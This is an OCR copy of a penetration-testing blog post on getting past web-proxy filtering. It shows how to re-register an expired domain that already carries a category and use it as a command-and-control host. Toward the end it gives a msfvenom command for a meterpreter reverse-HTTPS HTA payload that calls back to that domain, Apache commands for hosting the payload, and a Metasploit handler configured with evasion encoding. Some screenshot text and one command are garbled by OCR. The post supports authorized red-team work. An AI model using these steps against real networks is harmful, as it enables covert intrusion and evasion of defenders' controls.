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Someone recently posed a question to BHIS about creating C2 channels in environments where heavily restrictive
egress filtering is being utilized. Testers at BHIS, and in the industry as a whole, routinely run into this type of
scenario. BHIS strongly encourages the use of egress filtering. As with many other security approaches, however,

it is important to realize that this is just one piece of the overall security puzzle.

There are multiple ways to get around heavy egress-filtering (thanks to Beau for the links and insights in this
section). In some cases, tools such as ICMPSploit [1] can be used to create C2 channels using the ICMP protocol.
DNScat is a well-known tool that utilizes DNS requests and responses for C2 traffic. For this blog, we are going to
focus solely on environments that are only allowing web-based traffic in and out of the environment. We will
place an additional restriction on this scenario and assume that the environment also uses web-proxy filtering. It’s
becoming more common to see companies not only block known bad sites but also block access to sites that have
not received a categorization (e.g., Shopping, Financial, Sports, etc.) Even in this type of environment, there are
numerous ways to establish C2 channels. Some of the methods include leveraging Gmail [2] and Outlook [3].

Domain-fronting via CDN services is also becoming increasingly popular [4].
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I would like to focus on a web-proxy filtering bypass method that is known as domain-categorization take-over
(thanks to harmjQy for the idea). I will walk you through the process of getting your own categorized domain and

talk about some of the ways you can utilize it.

The first step is to find a recently expired domain that received a “good” categorization before it expired. The idea
is that if you re-register a domain shortly after its previous owner failed to renew it, the categorization that was
given to that domain will remain intact. How do we go about doing that? Easy!! Head on over to the site located at
https://www.expireddomains.net. Now, you can use this service without signing up for anything. I suggest taking
just a few minutes to sign up for a free account. With a registered account, you are afforded access to a lot more
content than you do if you just browse anonymously. After logging in, you should see something similar to the
screenshot below. I’ve highlighted the main area of interest. Click on one of the domain suffixes (e.g., “Deleted
.info Domains”). The .com sites will likely be the most expensive to register. I typically go for .info, which can

usually be bought for about $1/year.

Deleted Domains (47) Deleted .com ~ Deleted .net~ Deleted .org v Deleted .infov Deleted .biz~ Deleted .mobi Africa~ America~
Marketplace Domains (27) Asia~ Europe A-Ev Europe F-L+ Europe M-Z+ Oceania~ new gTLDs~ Caught Domains Pending Delete
% Watchlist

all Latest Development _Rss r'y Current Issues (1) Neticed anything not working correctly? Report it!
Deleted Domains by Suffix
2017-03-17  The .nl Drop runs every hour now 2017-03-17  As of Mar 17, 2017, dmoz.org is no longer available. They have closed
Because of a change of sidn.nl you can now see the end hour of the down.

quarantine period for .nl domains in the whois. That makes it possible
to run the check every hour now.

2017-03-17  Added the official Deleted .ru List
The pending delete list for .ru domains does not seem to be complete.
T've added the official deleted .ru list using a separate resource to the e Update Interval Time Window Domains. New Domains
deleted .ru list to complete it

2017-03-17  The .co Dropcheck is now fixed
The dropdate validation for .co works better now and the missing Deleted .net Domains Once Daily 06:00 PM - 10:00 PM * 2,056,146 14,807
domains are in the deleted .co list.

2017-03-16  More Deleted Archive Lists for .com and .net
The year 2012 and 2011 are now loaded for .com and .net. All Deleted .info Domains Once Daily 11:30 AM - 12:00 AM * 1,702,821 3,272
information are updated, except majestic. Because of the high pricing of

©  Domain List Stats & Explanation  pelcted Domains  Marketplace Domains

Deleted .com Domains Once Daily 06:00 PM - 10:00 PM * 1,786,356 124,936

Deleted .org Domains Once Daily 02:30 PM - 03:30 PM * 2,238,098 4,798

e Deleted .biz Domains Once Daily 05:00 PM - 05:30 PM * 758,067 1,110
majestic it will take a couple of months before everything is updated.
. 2017-03-08  The next combr dropeycle started Deleted .mobi Domains Once Daily 03:20 AM - 04:30 AM * 473,302 305
ke You can find the .com.br droplist in the pending delete list. The drop Deleted .asia Domains Onos Daily 02:30 AM - 02:50 AM * 186,101 7
will start at 2017-03-26 15:00 BRT.
Deleted .eu Domains Once Daily 06:00 PM - 06:15 PM * 671,921 2,379
Interval Time Window Domains New Domains

After clicking a Deleted Domain suffix, you will be taken to a page that shows recently expired domains with that
suffix and a lot of information to go along with it. What does all of it mean? Well, I will talk about what I feel are

the most important statistics. First, click on the “Show Filter” option.

Deleted Domains (47) Deleted .com~ Deleted .netv Deleted .org~ Deleted .biz v Deleted .mobi Africaw Americaw
Marketplace Domains (27) Asiav Europe A-Ev Europe F-Lv Europe M-Z Oceania~ new gTLDs v Caught Domains. Pending Delete
N
F Watchlist
jst: Delcte Kﬂsmbout 1,699,102 Domains)
o Filter selected) & E E Page 1 of 67,965 | Next Page »
o " i [ op e [ tcn e | 7 s omos | uoenes c m 081100 56 0 x| oomedsona ]
vatunnelinfo % 8 0 o 2010 - 0 0 - 0 - 2 e e e ale e 4500K 0 008USD Today11:43  available [
vatproject.info Y 10 0 0 2010 0 0 0 1 e e e e e e 0 0 0.00USD Today11:43  available [
tradingdemokonto.info Y16 0 0 2016 0 0 0 3 IR 0 0 000USD Today11:43  available [t
sud-amienois.info Y 12 0 o 2015 0 0 0 1 e e e o e e 0 0 000USD Today 1143  available s
StrengthrainingForDummies.info K 26 0 0 2014 0 0 0 0 o e o ele e 70 58 0.7USD  Today 1143 available [t
strefaplinfo Y8 0 0 2011 0 0 0 2 e e e ele e 66K 0 136USD  Today 11:43  avalkble s
stopvatproject.info 14 0 o0 2010 o o 0 1 66 & se e 0 o 0.00USD Today 11:43  available s
OrQues.info % 6 0 0 2002 201 4 0 0 2 e e e ae e W05K 0 033USD  Today11:43  availble [
oplatarecyklingowa.info ﬁ 18 o 0 2016 o 0 0 0 & & & & @& o 0 () 0.00 USD Today 11:43 available ‘a
OnBeingHuman.info ¥ 12 1 0 2016 2016 9 0 o - | 5 e el e ele 320 2 0.15USD  Today11:43  available [
NewMetroBaby.info Y12 0 o 205 0 0 0 2 e e o ele e 0 0 000USD Today11:43  available [
myspiritualhabit.info Y 16 0 o 2015 0 0 0 0 o6 6 oo e 0 0 0.00USD Today11:43  available [
kutonoka.info Y 8 0 0 206 0 0 0 0 0 0 000USD Today 1143  available [t
kraftwerkniederaussem.info * 21 0 0 201 0 0 0 2 e e e oo e 0 [ 0.00USD Today11:43  available lted
kraftwerk-niederaussem.info % 2 0 o 20 0 0 0 2 e e e o e e 480 0 0.00USD  Today11:43  available [t
instagramreklam.info Fo15 0 0 2015 0 0 0 3 e e 8 60 e 0 0 0.00USD Today11:43  available s

The first thing that I like to do is to check the “no Adult Names” box. We don’t pass judgment here, but web-proxy

filters sure do! Next, I check the “only available Domains” box to ensure that domains that are currently registered
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do not appear in the list. The last change that I make is to select the “SimilarWeb Top Country” to be the country

in which my target resides. This can help to reduce the suspicion of web-proxy filters. Once you’re satisfied with

the filter options, click the “Apply Filter” button towards the bottom of the page.

Q. Domain Name Blacklist

(1]} @ no Adult Names 1

ACR min max End Date
starts not with
Length min max Alexa min max Named Ending
contains not Hyphens min max WBY - min - v - max - A Ends in days min max
ends not with
s notud Vowels min max ABY - min - v - max - v i Price]
Q D in N Contains ... AND Consonants min max .
omain Name Contains @ PR — isting Type
Characters min ma
contains Global Rank min nax Price min max
Numbers min max -
only Watchlist
. Domain Name (un) wanted Chars () Traffic min max
Countries only available Domains
Whitelist / SimilarWeb Top Country _
Top Country min nax Domains per Page 25
Blacklist United-States. - Rank
Top Country min ma
Q. Domain Name Pattern (1] Share
Whitelist Traffic Search min max
Blackiist Traffic Social min max
Note: Read about how the Domain Name Pattern Filter & Traffic Direct min -
works
Traffic Referal min nax
4 Traffic Mail

min max b

Traffic Paid min max

Apply Filter I

4

Next, click on the “SimilarWeb” heading to sort the expired domains by their SimilarWeb ranking. Essentially, the
lower the number the more “reputable” the site. Once I’ve applied the sorting, I start clicking through the
SimilarWeb rating for the domains until I find one that has been assigned a category. In this case, clicking the
SimilarWeb link for gtavdata.info shows that this site was categorized as “Reference->Maps” site. Seems

innocuous enough for our needs!

List: Deleted .info Domains (About 28 Domains) 1 (A

Show Filter (3 Filter selected, Reset) &1 (21 [ i Page 1 0f 2 | Next Page »

" | i o loe ] woy |y | ace | Smlaweh- | SIC | Snc | Dmo | mbskes [cinlolslilnl 6 Jcol o | Dopped | Saus [ R
% 8 0 0 205 2014 4 HE 100% 1 - 0 6 & & & & o 0 0 0.00 USD. 17 days available 1t
ceritaentot.nfo Yot 4 0 2015 2006 2 B 100% 1 - 1 e 0 o o 0 o 81K 3 0.02 USD. 18 days available  ltad
catbhead.info % 8 0 0 2015 - 0 100% 1 0 ° e & s 0 0 0.00 USD. 22 days available 1t
SteamSignature.info Y 14 516 37 2015 2014 14 214M g 1 2 ® ¢ o o o e 19K 0 0.08 USD. 24 days available  tad
pr7890990.info ¥ 9 0 0 2086 - 0 2151  100% 1 0 ] 0 0 0.00 USD. 49 days avalable
john-a.info % 6 0 0 2016 2016 2 2L5M S 100% 1 7 ee e e oe 44K 1 017 USD 46 days available b
AboutDiabetesCure. info Y 17 49 6 2055 2066 3 215M B 100% 1 0 ® 0 0 0.00 USD. 15 days avalable
nzbclubiinfo % 7 2 0 2010 2011 2% 216 M S 100% 1 4 |e|e|e o o e ik 0 335 USD 10 days available  tw
wisd.info Y 4 0 0 206 2010 4 216 M S 100% 1 6 o/e o o e 260 0 0.00 USD 23 days available b
mirincon.info % 8 0 o 201 2013 14 220M = 100% 1 6 o o o o o e 13K 4 1.18 USD 44 days available  ltad
cinemesicanol iink.info Y 17 141 3 2015 2002 2 22M S 100% 1 0 e o e 0 0 0.00 USD 38 days available b
Mummy-Dogs.info % 10 10 0 2008 2008 10 27M = 100% 1 0 29K 7 111USD|  Today 11:32 avaiable
Proxy-Anonymous.info Y 15 9% 10 2015 2010 8 20M S 100% 1 0 °© o e 54K 9 0.72 USD 12 days available b
NeoDownload.info % 11 20 5 2015 2015 238M = 100% 1 2 e o ° 260 1 0.00 USD 53 days available g
christmasdeco3zone.info ¥ 18 1 0 2014 2014 5 243M S 100% 1 0 e o ° 0 [ 0.00USD | Today 11:39 available It
hdiove.info ¥ 6 140 o0 2014 2015 7 24.6M B 100% 1 12 e e o o o e 740K 6 0.58 USD 19 days available  ltad
galstars.info ¥ 8 35 4 2007 2007 35 251M W 100% 1 2 o o o o ® 36K 1 023 USD 70 days available b
) % 7 o0 o o205 0 257M = 100% 1 0 |e|e|ee|e|e 0 0 000USD| 20 days availsble | g9
ProelectricalParts.info ¥ 18 1 0 2015 - 0 26.1M = 100% 1 0 0 0 0.00 USD 10 days avaiable @
n-topispovesti.info Y% 14 0 0 205 2066 1 2641 S 100% 1 0 e e o & ¢ o 0 0 0.00 USD. 19 days available b
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"Similarweb Discover any Website or App Q Products  Solutions ~ Resources Company Pricing  Live Demo Log In / Sign Up

) Download PDF Q) All countries Last month (February 17) ~

® gtavdata.info + Add Competitors

ming Soon
O Global Rank ® ™ Country Rank ® & Category Rank ®
Worldwide United States = Reference > Maps Edit

#20,617,5421 #4,970,1101 #9,4451

Now that we’ve found a suitable categorized-domain, we need to register it. I suggest using
https://www.namesilo.com since it has a nice interface, seems to keep the domain categorization intact, and
provides free WHOIS privacy. We don’t need hosting or anything fancy, just something to register the domain and
set the A record for the domain. NameSilo also makes it easy to set up Office 365 Mail with your domain but that
is a discussion for another blog post. Just type in the name of the domain that you found in the previous step and

register away. Make sure to pick the correct domain extension (e.g., .info, .com, .net, etc.) or else the trick likely

won’t work.

Domain Search Results 9

INFO .COM NET .ORG BIZ .TOP -ONLINE .STORE .PRO
YOUR SEARCH REMOVE

O 0 O 0 0 0 O O 0
BEEBRAAAA -
gtavdata . y
$208 $10.79 o, b
/ REGISTER CHECKED DOMAINS

After registering the domain name, sign in to namesilo.com and head to the DNS settings for that domain. The

sequence of images below shows the general steps to get there.

My Cart | My Account | Manage My Domains | Log Out

-~
||| Logged in as fullmetalcache

s e sy s e EED AT E R
72 Account Home Page \ Account Options

Welcome back Brian! /2 account home page

Your account options can be accessed on the right-side of this page. |
& domain manager

|

NameSilo Discount Program CLICK HERE TO #» transfer manager
Did you know you can save money On 3l registration and renewal orgers? Check out the LEARN MORE
NameSilo Discount Program 1o leam more!

Ak

Account Overview

You can view a few details concerning your domains below.
Please visit the Domain Manager for a more complete look at your domain portfalic and to initiate any changes.

p discount program

CLICK HERE ,i account funds manager
TOLEARNMORE

i marketplace manager
. domain link manager

v domain defender
ITEM STATUS

2017-03-19 14:28:35 (69.162.81.227) (&) domain history

Last Login
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€ Domain Manager o =
Search Your Domains by Keyword [N 5277

Use Advanced Search

AC S for n S -

Al ( < :b - . ’ ® " o
Salactac +g - [ = v - —

N o D o o Renew Change Sell Park Forward Change Privacy Lock Unlock SetAuto  Select Push Apply DNS Deactivate

Jomains Domains Nameservers Domains Domains Domains Contacts Settings Domains Domains Renewal Portfolio [Qgmains Template  Domains

Your Domains

(m] Domain = Portfolio NameServers Created Expiration Status
[ gtavdata.info (None) ns1.dnsowl.com.ns2.dnsowl.com 2017-03-19 2018-03-19  Active

P & PageoH

[

Once you’ve found the DNS settings, click the edit button next to the first A record in the list. Change the IP

address of that A record to be the IP address of your C2/testing server and then click submit button.

Existing Resource Records

Listed below are the existing resource records for gtavdata.info.
You can modify or delete each record using the associated icons listed to the right of the record.
HOSTNAME TYPE ADDRESS / VALUE DISTANCE/PRIO L SERVICE DELETE

A 107.161.23.204 NA 3603+ ® Parking b 4
A 164.132.212.72 NA 3603 a Parking x
A 167.114.213.199 NA 3603* ﬁ Parking \Zr x
www CNAME parking.namesilo.com NA 3603* a Parking M x

* TTL subject to Automatic TTL Adjustment

Create a new Template
Please click the button below to save a DNS template using the resource records above. This allows you to easily apply custom DNS templates to other domains in your
account.

o "A" records allow you to associate a host name with an IPv4 addreSSChange lP tO m your Sewer\s lP

HOSTNAME IPV4 ADDRESS

|gtavdata info [104.131.22.56]

Next, delete the other three default DNS records that NameSilo created for you so that you are left with only the A

record that you just edited in the previous step.

Existing Resource Records

Listed below are the existing resource records for gtavdata.info.
You can modify or delete each record using the associated icons listed to the right of the record.

|> HOSTNAME TYPE ADDRESS / VALUE DISTANCE/PRIO TTL SERVICE T DELETE
A 104.131.22.56 NA 3603* 3rd-party A ®
A 164.132.212.72 NA 3603* www re-direct @ M
A 167.114.213.199 NA 3603* www re-direct @ A
WWW CNAME parking.namesilo.com NA 3603* ﬁ Parking M
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Existing Resource Records

Listed below are the existing resource records for gtavdata.info.
You can modify or delete each record using the associated icons listed to the right of the record.

HOSTNAME TYPE ADDRESS / VALUE DISTANCE/PRIO TTL SERVICE EDIT DELETE

A 104.131.22.56 NA 3603* 3rd-party / b 4

Now, we patiently wait for the A record changes to propagate to the public. Namesilo.com seems to propagate the
changes within fifteen minutes in most cases. Keep checking for the update by using your favorite DNS resolution
tool against your new domain. In the image below, you can see that I’ve used dig to verify that gtavdata.info now

points to my C2 server.

tester ~$%dig gtavdata.info

; €<>> DiG 9.9.5-3ubuntu@.11-Ubuntu <<>> gtavdata.info

;3 global options: +cmd

;3 Got answer:

;3 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3634

;; flags: gr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: ©, ADDITIONAL: 1

33 OPT PSEUDOSECTION:

; EDNS: version: ©, flags:; udp: 1280

53 QUESTION SECTION:

;gtavdata.info. IN A

;5 ANSWER SECTION:
gtavdata.info. 3588 IN A 194.131.22.56

The next step that I usually take is to generate a valid, signed SSL-certificate for the new domain. Having a trusted
certificate to use for encrypting your traffic will add to the ability to bypass traffic-filtering mechanisms, help
protect any sensitive data that might be transferred, and it can also evade some anti-virus tools that would
otherwise see the unencrypted payload coming across the network. I suggest logging into your C2 server and then

checking out Carrie’s awesome blog post on how to do this quickly and for free! [5]

After generating your shiny-new SSL certificate, you’re ready to use your categorized domain-name for testing!

Continue reading Carrie’s post to see how to use your domain with PowerShell Empire.

You can also use your certificate and categorized domain with meterpreter and metasploit. Below is an example of
using msfvenom to generate an HTA payload for my domain.

éhs%vénghr;57Qin&owé}xé&}&ééé%preter/reverse_https lhost=gtavdata.info lport=443 -f hta-psh -o met_pay.hta

No platform was selected, choosing Msf::Module::Platform::Windows from the payload

No Arch selected, selecting Arch: x64 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 608 bytes

Final size of hta-psh file: 7316 bytes
Saved as: met_pay.hta

Before starting a listener for meterpreter, you might want to host your payload so that you can transfer it into your
testing environment. You might also have other tools that you’d like to have on your testing system for the
assessment. Apache is one easy way to do this that takes advantage of your certificate and domain. One suggestion

is to create a folder in the /var/www/html directory on your system. For this example, let’s call it serverfolder.

mkdir /var/www/html/serverfolder

Page 6 of 9



https://www.blackhillsinfosec.com /bypass-web-proxy-filtering/

Copy your payload file and other tools to the directory that you just created. After copying the files, make sure
that the Apache service is running. In the image below, I’ve copied the met_pay.hta payload file and the

PowerLine toolset (teaser:upcoming webcast!) to my serverfolder directory.

_III_u'_ = Lii>vaLa UULHUL-LJ‘\L I_u'LnlI:'.lE 4

$cp met_pay.hta /var/www/html/serverfolder/
$cp -r powerline/ /var/www/html/serverfolder/
fservice apache2 start

You can now reach your files by opening a web browser and typing https://yourdomainname.net/serverfolder.

€ (O A8 https//gtavdata.info/serverfolder/

Index of /serverfolder

Name Last modified Size Description
a Parent Directory -
@ met pav.hta 2017-04-13 14:19 7.1K
@ powerline/ 2017-04-13 14:19 -

Apache/2.4.10 (Debian) Server at gtavdata.info Port 443

The next task we will do is to create a listener for our meterpreter payload. After downloading the files to your

testing system, kill the Apache service on your server and start-up msfconsole.

fservice apache2 stop
tmsfconsole

Issue the commands shown in the screenshot below. Make sure to replace the handlersslcert value with the path to
your certificate file.
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msf > use multi/handler

msf exploit{handler) > set payload windows/x64/meterpreter/reverse_https
payload =» windows/x64/meterpreter/reverse https

msf exploit{handler) » set lhost ©.8.8.8

lhost =» 8.68.68.8

mst exploit(handler) > set lport 443

lport =» 443

mst exploit{handler) > set handlersslcert /root/mycert.pem
handlersslcert => /root/mycert.pem

mst exploit{handler) » set exitonsession false

exitonsession =» false

mst exploit{handler) » set enablestageencoding true
enablestageencoding =» true

msf exploit{handler) » set stageencoder x64/xor

stageencoder =» x64/xor

msf exploit{handler) » set autorunscript post/windows/manage/migrate
autorunscript =» post/windows/manage/migrate

msf exploit{handler) > run -j

[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://8.8.8.8:443
[*] Starting the payload handler...
msf exploit{handler) >

Head back to the testing system on which you downloaded the payload and run it. Head back over to your server

and enjoy the new session that was created using your categorized domain and signed SSL-certificate.
Follow Brian on the Twitters: @fullmetalcache

Shout-outs: Carrie Roberts, Sally Vandeven, Derek Banks, Beau Bullock, harmjOy (and APT team), and others
that I’m probably forgetting...

[1] http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-5.html

[2] https://github.com/byt3bl33d3r/gcat

[3] https://github.com/colemination/PowerOutlook

[4] https://blog.cobaltstrike.com/2017/02/06/high-reputation-redirectors-and-domain-fronting/

[5] http://www.blackhillsinfosec.com/?p=5447

Ready to learn more?
Level up your skills with affordable classes from Antisyphon!
Pay-Forward-What-You-Can Training

Available live/virtual and on-demand

Page 8 of 9


https://www.twitter.com/fullmetalcache
https://twitter.com/harmj0y
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-5.html
https://github.com/byt3bl33d3r/gcat
https://github.com/colemination/PowerOutlook
https://blog.cobaltstrike.com/2017/02/06/high-reputation-redirectors-and-domain-fronting/
https://www.blackhillsinfosec.com/?p=5447
https://www.antisyphontraining.com/pay-forward-what-you-can/

https://www.blackhillsinfosec.com /bypass-web-proxy-filtering/

| ANTISYPHON
TRAINING |

POWERED BY BHIS

Source: https://www.blackhillsinfosec.com/bypass-web-proxy-filtering/

Page 9 of 9



